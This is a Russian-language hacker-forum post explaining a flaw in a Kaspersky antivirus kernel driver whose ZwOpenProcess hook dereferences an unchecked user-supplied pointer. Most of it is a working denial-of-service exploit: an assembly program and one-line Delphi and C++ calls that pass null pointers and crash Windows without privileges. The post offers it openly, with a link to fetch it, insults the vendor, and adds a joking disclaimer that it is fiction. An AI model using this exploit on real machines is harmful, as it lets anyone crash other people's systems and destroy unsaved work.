• XSS.stack #1 – первый литературный журнал от юзеров форума

Уязвимость в Антивирусе Касперского

Winux

Старожил форума
Легенда
Регистрация
12.11.2004
Сообщения
6 358
Реакции
53
logo_top.gif

Обнаружены дыра в антивире касперского.

Причина бага состоит в том, что антивирус для защиты своего процесса от уничтожения устанавливает в систему драйвер и перехватывает в ядре системы функцию ZwOpenProcess, которая используется для доступа к другим процессам, после чего он запрещает открытие своего процесса с флагом PROCESS_TERMINATE.
Вот прототип этой функции:


NTSYSAPI
NTSTATUS
NTAPI
ZwOpenProcess( OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL );


Все это конечно хорошо, но программисты "Карла Спермского" были настолько криворуки и тупы, что допустили очень тупой баг, который мог допустить лишь человек совсем незнакомый с системным программированием.

Приблизительно код функции перехватчика ZwOpenProcess антивируса "Карла Спермского" выглядит так:


NTSTATUS NewZwOpenProcess (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL)
{
if (ClientId->UniqueProcess == MyPid) return STATUS_ACCESS_DENIED;

else return RealZwOpenProcess(ProcessHandle, DesiredAccess,
ObjectAttributes, ClientId);
}

как вы видите в коде проверяется значение поля UniqueProcess структуры CLIENT_ID на которую указывает указатель ClientId. Это есть полная лажа, так как указатель ClientId передается из кода режима пользователя, а код режима ядра пытается выбрать поле структуры не проверяя валидность указателей. Если я передам нулевой указатель, то возникнет ошибка доступа к памяти, а такая ошибка в коде режима ядра приводит к немедленному падению системы.

Эксплоит на этот баг будет выглядеть так:

; AVKS ;) DoS Exploit
; Coded by Ms-Rem

.386
.model flat, stdcall
include ntdll.inc
includelib ntdll.lib
.code

start:
push 01
push 00
push 00
push 01
call ZwOpenProcess
end start

На Delphi так:

ZwOpenProcess(nil, 0, nil, nil);

На С++ так:

ZwOpenProcess(NULL, (HANDLE)0, NULL, NULL);

При выполнении этого кода система падает с сообщением об ошибке в драйвере klif.sys. Выполнение этого кода не требует никаких привилегий. Как видите, Карл Спермский очень сильно старается помочь хакерам и злодеям :). Так что лучше еще раз подумайте, прежде чем решите установить его антивирус.

P.S. Все описанное здесь является вымыслом автора, любые совпадения с реальными антивирусами случайны.

Сплойт берем тут
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх